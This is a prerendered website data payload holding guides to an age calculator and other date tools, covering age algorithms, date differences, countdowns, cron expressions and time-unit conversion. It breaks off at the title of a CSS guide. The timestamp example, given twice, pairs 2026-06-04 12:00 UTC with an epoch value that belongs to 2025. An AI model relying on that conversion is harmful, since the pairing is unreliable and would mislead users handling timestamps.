[{"data":1,"prerenderedAt":305704},["ShallowReactive",2],{"guides-list":3},[4,369,893,1444,2077,2653,3261,3904,4563,5119,6017,6386,6821,7150,7582,8363,8936,9794,10602,10942,12221,12854,13364,13917,14442,15016,15341,15784,16169,16688,17691,18639,20329,21399,21927,22595,23310,23858,24519,25223,26057,26842,27691,28687,29555,30004,30677,31161,31610,32155,33673,34545,34910,35435,36895,37821,38474,39715,40427,40945,41622,42569,43659,44987,45527,47344,49386,50563,51534,52776,53588,54330,55301,56861,58085,59581,60951,61770,62558,63652,64320,65853,67099,68375,69364,69794,70401,71816,72939,73925,74820,76476,77359,78005,78972,80518,81244,82568,83242,83652,83997,84566,85467,86190,86465,87152,87608,88568,89167,89844,91092,91811,93259,93783,94476,94811,95260,95713,96208,96549,97132,97701,98000,98571,99108,99882,100882,102176,102980,103638,104077,104944,106339,107360,108214,108717,109687,110403,111729,112240,112589,113069,113515,114305,115297,116010,116514,116947,117669,118257,119126,120105,121166,121548,122359,122653,123701,124194,125112,125783,126107,126889,127376,128727,129672,130263,131162,131734,132279,132884,133850,134474,135183,136376,137312,138118,138694,139353,140384,141743,142634,142961,143633,144120,144403,145176,146099,146570,147059,147487,148552,149391,150051,150787,151239,151841,152260,152875,154027,154962,155371,156383,156948,157743,158431,158890,159398,160511,161089,161980,162853,163742,164950,165204,165827,166355,167161,167597,168004,168846,169518,170140,170509,171008,171534,172384,173264,174808,175542,176901,177587,178247,179790,180680,180922,181604,182212,182740,183722,184277,184958,185394,186121,187327,188045,189103,189776,190361,190933,191410,192071,192825,193543,194128,194496,195395,195899,196676,197961,199341,200504,200959,201169,201707,202291,202811,203381,204325,204747,205502,206351,206857,207522,207874,208838,209949,210631,211122,211763,212276,212695,213303,214480,215132,215752,216418,216894,217783,218283,218687,219149,219809,220410,220819,221346,221891,222400,222694,222974,224353,224833,225176,226063,226493,227006,227544,228130,229141,229918,230884,231556,232668,234324,235298,235809,236426,236839,237546,238728,239234,239706,240227,240859,241877,242746,243621,244371,245126,246042,247818,248535,249013,249467,249935,250448,251095,251655,252013,252556,253028,253485,254405,255385,255877,256267,256634,257861,259390,259504,261686,263763,265381,265913,268302,269612,270993,271252,273708,275497,275976,276991,278601,281256,282785,284359,285141,285943,288818,290450,292054,292544,295132,297043,298647,298817,300059,302539,303424,305446],{"id":5,"title":6,"body":7,"date":359,"description":360,"extension":361,"meta":362,"navigation":363,"path":364,"readingTime":365,"seo":366,"stem":367,"__hash__":368},"guides\u002Fguides\u002Fage-calculator-guide.md","Age Calculator Guide",{"type":8,"value":9,"toc":336},"minimark",[10,15,19,22,26,29,32,37,40,69,72,76,94,103,107,110,130,134,145,148,152,155,159,162,182,185,189,192,280,283,287,293,297,301,304,308,311,315,318,322],[11,12,14],"h2",{"id":13},"what-is-an-age-calculator","What Is an Age Calculator?",[16,17,18],"p",{},"An age calculator gives you your precise age from a date of birth — down to the exact day. No more mental math, no more off-by-one errors when months have different lengths or leap years shift the count.",[16,20,21],{},"Whether you need to verify someone's age for a legal form, calculate a child's age in months for a medical appointment, or simply satisfy curiosity about how many days you have lived, an age calculator delivers accurate results in under a second.",[11,23,25],{"id":24},"how-age-is-calculated","How Age Is Calculated",[16,27,28],{},"Age calculation seems straightforward — subtract the birth year from the current year. But that shortcut fails more often than you think.",[16,30,31],{},"Consider someone born on March 15, 2000. On February 10, 2026, subtracting years gives 26, but they have not yet turned 26. The correct answer is 25 years, 10 months, and 26 days.",[33,34,36],"h3",{"id":35},"the-calendar-complexity","The Calendar Complexity",[16,38,39],{},"Several factors make manual age calculation unreliable:",[41,42,43,51,57,63],"ul",{},[44,45,46,50],"li",{},[47,48,49],"strong",{},"Variable month lengths"," — February has 28 or 29 days; other months have 30 or 31",[44,52,53,56],{},[47,54,55],{},"Leap years"," — Every 4 years, February gains a day, except century years not divisible by 400",[44,58,59,62],{},[47,60,61],{},"Partial months"," — When the current day is less than the birth day, you must carry from the previous month",[44,64,65,68],{},[47,66,67],{},"Cross-month boundaries"," — Going from March 31 to April 30 is not a full month",[16,70,71],{},"A proper age calculator processes each edge case systematically. It counts full years first, then remaining full months, then the leftover days — adjusting for each month's actual length.",[33,73,75],{"id":74},"the-algorithm-in-plain-terms","The Algorithm in Plain Terms",[77,78,79,82,85,88,91],"ol",{},[44,80,81],{},"Subtract the birth year from the target year",[44,83,84],{},"If the target month is earlier than the birth month, subtract one year",[44,86,87],{},"If the months are equal but the target day is earlier than the birth day, subtract one year",[44,89,90],{},"Calculate remaining months after accounting for years",[44,92,93],{},"Calculate remaining days after accounting for months, borrowing from the previous month's length when necessary",[16,95,96,97,102],{},"This is exactly what the ",[98,99,101],"a",{"href":100},"\u002Ftools\u002Fage-calculator","Age Calculator"," does — automatically and instantly.",[11,104,106],{"id":105},"how-to-use-the-age-calculator","How to Use the Age Calculator",[16,108,109],{},"The tool requires minimal input:",[77,111,112,118,124],{},[44,113,114,117],{},[47,115,116],{},"Enter your date of birth"," — use the date picker or type the date directly",[44,119,120,123],{},[47,121,122],{},"Set the reference date"," — defaults to today, but you can pick any date (past or future)",[44,125,126,129],{},[47,127,128],{},"View your results"," — the calculation runs instantly as you type",[33,131,133],{"id":132},"example","Example",[135,136,142],"pre",{"className":137,"code":139,"language":140,"meta":141},[138],"language-text","Date of birth:  1995-03-15\nReference date: 2026-06-04\n\nResult: 31 years, 2 months, 20 days\n","text","",[143,144,139],"code",{"__ignoreMap":141},[16,146,147],{},"No submit button needed. Change any input and the output updates in real time.",[11,149,151],{"id":150},"understanding-the-results","Understanding the Results",[16,153,154],{},"The calculator returns more than just a single number. Here is what each output means:",[33,156,158],{"id":157},"years-months-and-days","Years, Months, and Days",[16,160,161],{},"This is the primary result — your exact age broken into three intuitive units:",[41,163,164,170,176],{},[44,165,166,169],{},[47,167,168],{},"Years"," — full calendar years elapsed between dates",[44,171,172,175],{},[47,173,174],{},"Months"," — remaining full months after counting years",[44,177,178,181],{},[47,179,180],{},"Days"," — remaining days after counting years and months",[16,183,184],{},"This format matches how most legal and medical documents express age.",[33,186,188],{"id":187},"total-statistics","Total Statistics",[16,190,191],{},"Beyond the primary breakdown, the calculator provides aggregate numbers:",[193,194,195,210],"table",{},[196,197,198],"thead",{},[199,200,201,205,208],"tr",{},[202,203,204],"th",{},"Stat",[202,206,207],{},"Description",[202,209,133],{},[211,212,213,225,236,247,258,269],"tbody",{},[199,214,215,219,222],{},[216,217,218],"td",{},"Total months",[216,220,221],{},"Months since birth",[216,223,224],{},"374",[199,226,227,230,233],{},[216,228,229],{},"Total weeks",[216,231,232],{},"Weeks since birth",[216,234,235],{},"1,629",[199,237,238,241,244],{},[216,239,240],{},"Total days",[216,242,243],{},"Days since birth",[216,245,246],{},"11,404",[199,248,249,252,255],{},[216,250,251],{},"Next birthday",[216,253,254],{},"Date of your next birthday",[216,256,257],{},"2027-03-15",[199,259,260,263,266],{},[216,261,262],{},"Days until birthday",[216,264,265],{},"Countdown to next birthday",[216,267,268],{},"284",[199,270,271,274,277],{},[216,272,273],{},"Day of birth",[216,275,276],{},"Weekday you were born",[216,278,279],{},"Wednesday",[16,281,282],{},"These totals are useful for milestone tracking, financial planning, and health benchmarks. Pediatric guidelines reference age in months; fitness benchmarks use years — both are available at a glance.",[11,284,286],{"id":285},"try-it-yourself","Try It Yourself",[16,288,289,290,292],{},"Use the free ",[98,291,101],{"href":100}," to compute your exact age in years, months, and days — plus total days lived and your next birthday countdown. No sign-up, no install, works on any device.",[11,294,296],{"id":295},"faq","FAQ",[33,298,300],{"id":299},"how-does-the-calculator-handle-leap-year-birthdays","How does the calculator handle leap year birthdays?",[16,302,303],{},"If you were born on February 29, the calculator recognizes your birthday in non-leap years as March 1. Age calculations still count the correct number of elapsed days regardless of leap year status. The logic ensures you never lose or gain a day.",[33,305,307],{"id":306},"can-i-calculate-age-to-a-past-or-future-date","Can I calculate age to a past or future date?",[16,309,310],{},"Yes. Change the reference date from the default \"today\" to any date you need. This is useful for determining age at a specific point in time — for example, age on the date of a legal filing or a scheduled medical procedure.",[33,312,314],{"id":313},"why-is-my-calculated-age-different-from-subtracting-years","Why is my calculated age different from subtracting years?",[16,316,317],{},"Simple year subtraction ignores whether your birthday has already occurred this year. If your birthday has not yet passed, subtracting years overstates your age by one. The calculator accounts for this by checking the month and day before finalizing the year count.",[11,319,321],{"id":320},"related-guides","Related Guides",[41,323,324,330],{},[44,325,326],{},[98,327,329],{"href":328},"\u002Fguides\u002Fdate-calculation-tools","Date Calculation Tools",[44,331,332],{},[98,333,335],{"href":334},"\u002Fguides\u002Ftime-and-date-utilities","Time and Date Utilities",{"title":141,"searchDepth":337,"depth":337,"links":338},2,[339,340,345,348,352,353,358],{"id":13,"depth":337,"text":14},{"id":24,"depth":337,"text":25,"children":341},[342,344],{"id":35,"depth":343,"text":36},3,{"id":74,"depth":343,"text":75},{"id":105,"depth":337,"text":106,"children":346},[347],{"id":132,"depth":343,"text":133},{"id":150,"depth":337,"text":151,"children":349},[350,351],{"id":157,"depth":343,"text":158},{"id":187,"depth":343,"text":188},{"id":285,"depth":337,"text":286},{"id":295,"depth":337,"text":296,"children":354},[355,356,357],{"id":299,"depth":343,"text":300},{"id":306,"depth":343,"text":307},{"id":313,"depth":343,"text":314},{"id":320,"depth":337,"text":321},"2026-06-04","Calculate your exact age from date of birth instantly. Learn how age calculation works and understand the results.","md",{"immutable":363},true,"\u002Fguides\u002Fage-calculator-guide",4,{"title":6,"description":360},"guides\u002Fage-calculator-guide","S1h1_UkIqMpt0NhlJ_8A7AoElgeKOR7fsBzvvUOPN3c",{"id":370,"title":329,"body":371,"date":359,"description":887,"extension":361,"meta":888,"navigation":363,"path":328,"readingTime":889,"seo":890,"stem":891,"__hash__":892},"guides\u002Fguides\u002Fdate-calculation-tools.md",{"type":8,"value":372,"toc":867},[373,377,380,383,387,413,416,419,425,429,455,457,463,469,473,476,533,537,563,567,570,575,601,604,610,613,617,625,631,634,654,658,666,671,736,740,809,813,845,847,857,859],[11,374,376],{"id":375},"why-date-calculations-go-wrong","Why Date Calculations Go Wrong",[16,378,379],{},"Date math looks simple. Subtract one date from another and you are done — until you hit variable month lengths, leap years, and timezone boundaries. These edge cases cause real errors in billing cycles, legal deadlines, and project schedules.",[16,381,382],{},"Online date calculation tools encode the correct calendar logic once and apply it consistently every time. No estimation, no guesswork.",[11,384,386],{"id":385},"common-date-calculation-pitfalls","Common Date Calculation Pitfalls",[41,388,389,395,401,407],{},[44,390,391,394],{},[47,392,393],{},"Off-by-one errors"," — Does \"30 days from January 1\" mean January 30 or January 31?",[44,396,397,400],{},[47,398,399],{},"Leap year miscalculations"," — 2024 has 366 days. Does your formula account for the extra day?",[44,402,403,406],{},[47,404,405],{},"Month-end ambiguity"," — \"One month after January 31\" could mean February 28 or March 3 depending on convention",[44,408,409,412],{},[47,410,411],{},"Timezone shifts"," — A date boundary in New York is still the previous day in Los Angeles",[16,414,415],{},"Online tools handle these automatically because the logic is tested and fixed.",[11,417,101],{"id":418},"age-calculator",[16,420,421,422,424],{},"The ",[98,423,101],{"href":100}," computes exact age from a date of birth to any reference date. It returns the result in years, months, and days — along with total days lived, next birthday countdown, and the weekday you were born.",[33,426,428],{"id":427},"who-uses-it","Who Uses It",[41,430,431,437,443,449],{},[44,432,433,436],{},[47,434,435],{},"HR departments"," — verify age for benefits enrollment and retirement eligibility",[44,438,439,442],{},[47,440,441],{},"Insurance agents"," — confirm applicant age for policy pricing",[44,444,445,448],{},[47,446,447],{},"Medical professionals"," — track pediatric age in months for dosage and developmental milestones",[44,450,451,454],{},[47,452,453],{},"Legal professionals"," — determine exact age at the time of a specific event",[33,456,133],{"id":132},[135,458,461],{"className":459,"code":460,"language":140,"meta":141},[138],"Date of birth:  2008-11-22\nReference date: 2026-06-04\n\nResult: 17 years, 6 months, 13 days\n(Turns 18 on November 22, 2026)\n",[143,462,460],{"__ignoreMap":141},[16,464,465,466,468],{},"For detailed instructions, see the ",[98,467,6],{"href":364},".",[11,470,472],{"id":471},"date-difference-calculators","Date Difference Calculators",[16,474,475],{},"Date difference tools compute the span between two arbitrary dates. Unlike age calculators, which format output as years-months-days, date difference tools often provide raw totals.",[193,477,478,490],{},[196,479,480],{},[199,481,482,485,487],{},[202,483,484],{},"Output Format",[202,486,133],{},[202,488,489],{},"Best For",[211,491,492,503,513,523],{},[199,493,494,497,500],{},[216,495,496],{},"Years, months, days",[216,498,499],{},"2 years, 3 months, 15 days",[216,501,502],{},"Human-readable reports",[199,504,505,507,510],{},[216,506,240],{},[216,508,509],{},"838",[216,511,512],{},"Billing cycles, SLA tracking",[199,514,515,517,520],{},[216,516,229],{},[216,518,519],{},"119",[216,521,522],{},"Project planning, sprints",[199,524,525,527,530],{},[216,526,218],{},[216,528,529],{},"27",[216,531,532],{},"Lease terms, subscriptions",[33,534,536],{"id":535},"common-applications","Common Applications",[41,538,539,545,551,557],{},[44,540,541,544],{},[47,542,543],{},"Project management"," — calculate sprint lengths and deadline gaps",[44,546,547,550],{},[47,548,549],{},"Finance"," — determine interest periods and payment schedules",[44,552,553,556],{},[47,554,555],{},"Legal"," — compute statute of limitations windows",[44,558,559,562],{},[47,560,561],{},"Event planning"," — count days until a conference or product launch",[11,564,566],{"id":565},"countdown-calculators","Countdown Calculators",[16,568,569],{},"Countdown tools answer one question precisely: how much time remains until a specific date?",[16,571,572],{},[47,573,574],{},"Typical use cases:",[41,576,577,583,589,595],{},[44,578,579,582],{},[47,580,581],{},"Product launches"," — track days until go-live",[44,584,585,588],{},[47,586,587],{},"Weddings and events"," — share a countdown with guests",[44,590,591,594],{},[47,592,593],{},"Academic deadlines"," — monitor days until submission or exam dates",[44,596,597,600],{},[47,598,599],{},"Visa and permit expirations"," — avoid last-minute renewals",[33,602,133],{"id":603},"example-1",[135,605,608],{"className":606,"code":607,"language":140,"meta":141},[138],"Today:   2026-06-04\nTarget:  2026-12-25\n\nResult: 204 days remaining\n        29 weeks and 1 day\n",[143,609,607],{"__ignoreMap":141},[16,611,612],{},"Countdown tools follow the actual calendar. They never rely on fixed day-per-month approximations.",[11,614,616],{"id":615},"timestamp-conversion","Timestamp Conversion",[16,618,619,620,624],{},"Developers frequently convert between human-readable dates and Unix timestamps. The ",[98,621,623],{"href":622},"\u002Ftools\u002Ftimestamp-converter","Timestamp Converter"," handles both directions instantly.",[135,626,629],{"className":627,"code":628,"language":140,"meta":141},[138],"Human → Unix:  2026-06-04 12:00:00 UTC → 1749048000\nUnix → Human:  1749048000 → 2026-06-04 12:00:00 UTC\n",[143,630,628],{"__ignoreMap":141},[16,632,633],{},"This is essential for:",[41,635,636,642,648],{},[44,637,638,641],{},[47,639,640],{},"Debugging"," — read server log timestamps without mental math",[44,643,644,647],{},[47,645,646],{},"API integration"," — convert between systems that use different date formats",[44,649,650,653],{},[47,651,652],{},"Database queries"," — build time-range filters using epoch values",[11,655,657],{"id":656},"unit-conversion-for-time","Unit Conversion for Time",[16,659,660,661,665],{},"Sometimes you need to translate between time units — seconds to hours, days to weeks, milliseconds to minutes. The ",[98,662,664],{"href":663},"\u002Ftools\u002Funit-converter","Unit Converter"," covers time conversions alongside dozens of other measurement categories.",[16,667,668],{},[47,669,670],{},"Quick reference:",[193,672,673,686],{},[196,674,675],{},[199,676,677,680,683],{},[202,678,679],{},"From",[202,681,682],{},"To",[202,684,685],{},"Multiply By",[211,687,688,699,708,717,727],{},[199,689,690,693,696],{},[216,691,692],{},"Seconds",[216,694,695],{},"Minutes",[216,697,698],{},"0.01667",[199,700,701,703,706],{},[216,702,695],{},[216,704,705],{},"Hours",[216,707,698],{},[199,709,710,712,714],{},[216,711,705],{},[216,713,180],{},[216,715,716],{},"0.04167",[199,718,719,721,724],{},[216,720,180],{},[216,722,723],{},"Weeks",[216,725,726],{},"0.14286",[199,728,729,731,733],{},[216,730,723],{},[216,732,180],{},[216,734,735],{},"7",[11,737,739],{"id":738},"choosing-the-right-tool","Choosing the Right Tool",[193,741,742,755],{},[196,743,744],{},[199,745,746,749,752],{},[202,747,748],{},"Task",[202,750,751],{},"Tool",[202,753,754],{},"Output",[211,756,757,767,778,789,799],{},[199,758,759,762,764],{},[216,760,761],{},"How old am I?",[216,763,101],{},[216,765,766],{},"Years, months, days + stats",[199,768,769,772,775],{},[216,770,771],{},"Days between two dates?",[216,773,774],{},"Date Difference Calculator",[216,776,777],{},"Total days, weeks, months",[199,779,780,783,786],{},[216,781,782],{},"How long until X?",[216,784,785],{},"Countdown Calculator",[216,787,788],{},"Days and weeks remaining",[199,790,791,794,796],{},[216,792,793],{},"Convert a timestamp?",[216,795,623],{},[216,797,798],{},"Unix ↔ human-readable",[199,800,801,804,806],{},[216,802,803],{},"Convert time units?",[216,805,664],{},[216,807,808],{},"Seconds, hours, days, etc.",[11,810,812],{"id":811},"benefits-of-online-date-tools","Benefits of Online Date Tools",[41,814,815,821,827,833,839],{},[44,816,817,820],{},[47,818,819],{},"Speed"," — results in under a second, even for multi-decade spans",[44,822,823,826],{},[47,824,825],{},"Accuracy"," — leap years, variable month lengths, and calendar transitions handled automatically",[44,828,829,832],{},[47,830,831],{},"Consistency"," — the same rules apply every time, eliminating human variation",[44,834,835,838],{},[47,836,837],{},"Accessibility"," — works on any device with a browser, no installation required",[44,840,841,844],{},[47,842,843],{},"Edge case coverage"," — February 29 birthdays, century boundaries, and DST transitions built into the logic",[11,846,321],{"id":320},[41,848,849,853],{},[44,850,851],{},[98,852,6],{"href":364},[44,854,855],{},[98,856,335],{"href":334},[11,858,286],{"id":285},[16,860,289,861,863,864,866],{},[98,862,101],{"href":100}," to compute exact age instantly — or explore the ",[98,865,623],{"href":622}," for developer-friendly date conversion.",{"title":141,"searchDepth":337,"depth":337,"links":868},[869,870,871,875,878,881,882,883,884,885,886],{"id":375,"depth":337,"text":376},{"id":385,"depth":337,"text":386},{"id":418,"depth":337,"text":101,"children":872},[873,874],{"id":427,"depth":343,"text":428},{"id":132,"depth":343,"text":133},{"id":471,"depth":337,"text":472,"children":876},[877],{"id":535,"depth":343,"text":536},{"id":565,"depth":337,"text":566,"children":879},[880],{"id":603,"depth":343,"text":133},{"id":615,"depth":337,"text":616},{"id":656,"depth":337,"text":657},{"id":738,"depth":337,"text":739},{"id":811,"depth":337,"text":812},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Essential tools for date and time calculations. Find age, compute date differences, convert timestamps, and more.",{"immutable":363},5,{"title":329,"description":887},"guides\u002Fdate-calculation-tools","pbL93Y8e-N3GWkiwB5Zak3jis4BejYDXpKKKnUimF0g",{"id":894,"title":335,"body":895,"date":359,"description":1439,"extension":361,"meta":1440,"navigation":363,"path":334,"readingTime":889,"seo":1441,"stem":1442,"__hash__":1443},"guides\u002Fguides\u002Ftime-and-date-utilities.md",{"type":8,"value":896,"toc":1418},[897,901,904,907,911,987,990,992,997,1021,1025,1028,1080,1085,1089,1092,1096,1121,1125,1131,1136,1139,1142,1196,1205,1209,1215,1220,1284,1287,1291,1294,1298,1304,1308,1314,1317,1321,1349,1352,1356,1393,1395,1405,1407],[11,898,900],{"id":899},"the-scope-of-time-and-date-utilities","The Scope of Time and Date Utilities",[16,902,903],{},"Time and date utilities cover every operation that involves measuring, converting, or computing with dates and times. These tools fall into several categories — age calculation, date arithmetic, timezone conversion, timestamp handling, and scheduling.",[16,905,906],{},"Each category solves a specific class of problem. Understanding what is available helps you pick the right tool faster.",[11,908,910],{"id":909},"category-overview","Category Overview",[193,912,913,926],{},[196,914,915],{},[199,916,917,920,923],{},[202,918,919],{},"Category",[202,921,922],{},"What It Does",[202,924,925],{},"Example Tool",[211,927,928,940,950,961,973],{},[199,929,930,933,936],{},[216,931,932],{},"Age calculation",[216,934,935],{},"Computes exact age from date of birth",[216,937,938],{},[98,939,101],{"href":100},[199,941,942,945,948],{},[216,943,944],{},"Date arithmetic",[216,946,947],{},"Finds difference or adds\u002Fsubtracts days",[216,949,774],{},[199,951,952,955,958],{},[216,953,954],{},"Timezone conversion",[216,956,957],{},"Shifts times between zones",[216,959,960],{},"Timezone Converter",[199,962,963,966,969],{},[216,964,965],{},"Timestamp handling",[216,967,968],{},"Converts Unix epoch ↔ readable dates",[216,970,971],{},[98,972,623],{"href":622},[199,974,975,978,981],{},[216,976,977],{},"Scheduling",[216,979,980],{},"Parses and generates cron expressions",[216,982,983],{},[98,984,986],{"href":985},"\u002Ftools\u002Fcron-parser","Cron Parser",[16,988,989],{},"Pick the category that matches your problem first, then choose the specific tool within it.",[11,991,101],{"id":418},[16,993,421,994,996],{},[98,995,101],{"href":100}," remains the most widely used date utility. Users across professional and personal contexts need precise age calculations:",[41,998,999,1005,1010,1016],{},[44,1000,1001,1004],{},[47,1002,1003],{},"Healthcare"," — pediatric dosages depend on age in months; adult screenings trigger at specific ages (colonoscopy at 45, mammogram at 40)",[44,1006,1007,1009],{},[47,1008,549],{}," — penalty-free 401(k) withdrawals start at 59½; required minimum distributions begin at 73; Social Security eligibility kicks in at 62",[44,1011,1012,1015],{},[47,1013,1014],{},"Education"," — school enrollment cutoffs require exact age on a specific date, often with month-level precision",[44,1017,1018,1020],{},[47,1019,555],{}," — immigration petitions, guardianship filings, and criminal proceedings all require verified age",[33,1022,1024],{"id":1023},"what-the-calculator-returns","What the Calculator Returns",[16,1026,1027],{},"Beyond years, months, and days, the Age Calculator provides additional data:",[193,1029,1030,1038],{},[196,1031,1032],{},[199,1033,1034,1036],{},[202,1035,204],{},[202,1037,133],{},[211,1039,1040,1047,1054,1061,1068,1074],{},[199,1041,1042,1045],{},[216,1043,1044],{},"Total days lived",[216,1046,246],{},[199,1048,1049,1052],{},[216,1050,1051],{},"Total weeks lived",[216,1053,235],{},[199,1055,1056,1059],{},[216,1057,1058],{},"Total months lived",[216,1060,224],{},[199,1062,1063,1066],{},[216,1064,1065],{},"Next birthday date",[216,1067,257],{},[199,1069,1070,1072],{},[216,1071,262],{},[216,1073,268],{},[199,1075,1076,1078],{},[216,1077,273],{},[216,1079,279],{},[16,1081,1082,1083,468],{},"For detailed usage instructions, see the ",[98,1084,6],{"href":364},[11,1086,1088],{"id":1087},"timestamp-converters","Timestamp Converters",[16,1090,1091],{},"Developers live in two date worlds: human-readable formats for display, and Unix timestamps for storage, sorting, and computation. A timestamp converter bridges the gap.",[33,1093,1095],{"id":1094},"when-developers-need-one","When Developers Need One",[41,1097,1098,1104,1110,1115],{},[44,1099,1100,1103],{},[47,1101,1102],{},"Log analysis"," — server logs use Unix timestamps; converting to local time reveals patterns",[44,1105,1106,1109],{},[47,1107,1108],{},"API debugging"," — REST APIs return epoch values; a converter makes payloads readable",[44,1111,1112,1114],{},[47,1113,652],{}," — time-range filters perform better with integer timestamps than parsed date strings",[44,1116,1117,1120],{},[47,1118,1119],{},"Cross-system integration"," — different platforms store dates differently; timestamps provide a neutral format",[33,1122,1124],{"id":1123},"quick-reference","Quick Reference",[135,1126,1129],{"className":1127,"code":1128,"language":140,"meta":141},[138],"Human → Unix:    2026-06-04 12:00:00 UTC → 1749048000\nUnix → Human:    1749048000 → 2026-06-04 12:00:00 UTC\n",[143,1130,1128],{"__ignoreMap":141},[16,1132,289,1133,1135],{},[98,1134,623],{"href":622}," for instant bidirectional conversions.",[11,1137,986],{"id":1138},"cron-parser",[16,1140,1141],{},"Cron expressions control scheduled tasks on servers, but the syntax is dense. A cron parser translates expressions into plain English and shows upcoming execution dates.",[193,1143,1144,1154],{},[196,1145,1146],{},[199,1147,1148,1151],{},[202,1149,1150],{},"Expression",[202,1152,1153],{},"Plain English",[211,1155,1156,1166,1176,1186],{},[199,1157,1158,1163],{},[216,1159,1160],{},[143,1161,1162],{},"0 9 * * 1-5",[216,1164,1165],{},"9 AM every weekday",[199,1167,1168,1173],{},[216,1169,1170],{},[143,1171,1172],{},"*\u002F15 * * * *",[216,1174,1175],{},"Every 15 minutes",[199,1177,1178,1183],{},[216,1179,1180],{},[143,1181,1182],{},"0 0 1 1 *",[216,1184,1185],{},"Midnight on January 1st",[199,1187,1188,1193],{},[216,1189,1190],{},[143,1191,1192],{},"30 6 * * 0",[216,1194,1195],{},"6:30 AM every Sunday",[16,1197,421,1198,1200,1201,468],{},[98,1199,986],{"href":985}," decodes any valid cron expression and displays the next several run times. For a deep dive into the syntax, read the ",[98,1202,1204],{"href":1203},"\u002Fguides\u002Fcron-syntax-guide","Cron Syntax Guide",[11,1206,1208],{"id":1207},"time-unit-conversion","Time Unit Conversion",[16,1210,1211,1212,1214],{},"Converting between time units comes up more often than expected. How many seconds in a 45-minute meeting? How many work weeks in 260 business days? The ",[98,1213,664],{"href":663}," handles these alongside length, weight, temperature, and dozens of other measurement types.",[16,1216,1217],{},[47,1218,1219],{},"Common time conversions:",[193,1221,1222,1235],{},[196,1223,1224],{},[199,1225,1226,1229,1232],{},[202,1227,1228],{},"Convert From",[202,1230,1231],{},"Convert To",[202,1233,1234],{},"Factor",[211,1236,1237,1246,1255,1264,1274],{},[199,1238,1239,1241,1243],{},[216,1240,705],{},[216,1242,692],{},[216,1244,1245],{},"× 3,600",[199,1247,1248,1250,1252],{},[216,1249,180],{},[216,1251,705],{},[216,1253,1254],{},"× 24",[199,1256,1257,1259,1261],{},[216,1258,723],{},[216,1260,180],{},[216,1262,1263],{},"× 7",[199,1265,1266,1269,1271],{},[216,1267,1268],{},"Years (365)",[216,1270,180],{},[216,1272,1273],{},"× 365",[199,1275,1276,1279,1281],{},[216,1277,1278],{},"Years (avg)",[216,1280,180],{},[216,1282,1283],{},"× 365.25",[16,1285,1286],{},"The averaging factor of 365.25 accounts for leap years over long spans.",[11,1288,1290],{"id":1289},"date-arithmetic-tools","Date Arithmetic Tools",[16,1292,1293],{},"Date arithmetic covers finding the difference between two dates and adding or subtracting days from a starting date.",[33,1295,1297],{"id":1296},"date-difference","Date Difference",[135,1299,1302],{"className":1300,"code":1301,"language":140,"meta":141},[138],"Start date: 2024-01-15\nEnd date:   2026-06-04\n\nResult: 2 years, 4 months, 20 days (871 total days)\n",[143,1303,1301],{"__ignoreMap":141},[33,1305,1307],{"id":1306},"date-addition","Date Addition",[135,1309,1312],{"className":1310,"code":1311,"language":140,"meta":141},[138],"Start date: 2026-06-04\nAdd:        90 days\n\nResult: 2026-09-02\n",[143,1313,1311],{"__ignoreMap":141},[16,1315,1316],{},"These calculations matter for contract terms, warranty periods, subscription durations, and project timelines.",[11,1318,1320],{"id":1319},"online-tools-vs-manual-calculation","Online Tools vs Manual Calculation",[41,1322,1323,1328,1333,1338,1343],{},[44,1324,1325,1327],{},[47,1326,819],{}," — an online tool returns answers in under a second; manual calculation takes minutes",[44,1329,1330,1332],{},[47,1331,825],{}," — tools handle leap years, variable month lengths, and calendar transitions automatically",[44,1334,1335,1337],{},[47,1336,831],{}," — every calculation follows the same rules, eliminating human variation",[44,1339,1340,1342],{},[47,1341,837],{}," — works on phones, tablets, and laptops with no installation",[44,1344,1345,1348],{},[47,1346,1347],{},"Edge case handling"," — February 29 birthdays, century boundaries, and DST transitions are built in",[16,1350,1351],{},"Manual calculation still makes sense for quick estimates, offline environments, or learning purposes. But for anything that requires precision — legal filings, medical records, financial calculations — use a verified online tool.",[11,1353,1355],{"id":1354},"key-takeaways","Key Takeaways",[41,1357,1358,1364,1369,1375,1381,1386],{},[44,1359,1360,1361],{},"Time and date utilities span ",[47,1362,1363],{},"age calculation, timestamp conversion, cron parsing, unit conversion, and date arithmetic",[44,1365,421,1366,1368],{},[47,1367,101],{}," is the most popular date utility across professional and personal use cases",[44,1370,1371,1374],{},[47,1372,1373],{},"Timestamp converters"," are essential for developer workflows — log analysis, API debugging, and cross-system integration",[44,1376,1377,1380],{},[47,1378,1379],{},"Cron parsers"," make scheduled task management readable and verifiable",[44,1382,421,1383,1385],{},[47,1384,664],{}," handles time conversions alongside other measurement types",[44,1387,1388,1389,1392],{},"Use ",[47,1390,1391],{},"online tools for precision","; manual methods are fine for rough estimates only",[11,1394,321],{"id":320},[41,1396,1397,1401],{},[44,1398,1399],{},[98,1400,6],{"href":364},[44,1402,1403],{},[98,1404,329],{"href":328},[11,1406,286],{"id":285},[16,1408,289,1409,1411,1412,1414,1415,1417],{},[98,1410,101],{"href":100}," to find your exact age instantly — try the ",[98,1413,623],{"href":622}," for developer-friendly date conversions — or explore the ",[98,1416,664],{"href":663}," for time unit translations.",{"title":141,"searchDepth":337,"depth":337,"links":1419},[1420,1421,1422,1425,1429,1430,1431,1435,1436,1437,1438],{"id":899,"depth":337,"text":900},{"id":909,"depth":337,"text":910},{"id":418,"depth":337,"text":101,"children":1423},[1424],{"id":1023,"depth":343,"text":1024},{"id":1087,"depth":337,"text":1088,"children":1426},[1427,1428],{"id":1094,"depth":343,"text":1095},{"id":1123,"depth":343,"text":1124},{"id":1138,"depth":337,"text":986},{"id":1207,"depth":337,"text":1208},{"id":1289,"depth":337,"text":1290,"children":1432},[1433,1434],{"id":1296,"depth":343,"text":1297},{"id":1306,"depth":343,"text":1307},{"id":1319,"depth":337,"text":1320},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Online tools for working with dates, times, and timestamps. Calculate age, parse cron, convert timezones, and more.",{"immutable":363},{"title":335,"description":1439},"guides\u002Ftime-and-date-utilities","6TuEQPZPyfYk-2IKhWEO7yoG6XlUUhN6925o50LJggA",{"id":1445,"title":1446,"body":1447,"date":2070,"description":2071,"extension":361,"meta":2072,"navigation":363,"path":2073,"readingTime":1717,"seo":2074,"stem":2075,"__hash__":2076},"guides\u002Fguides\u002F3d-css-transform-performance.md","3D CSS Transform Performance 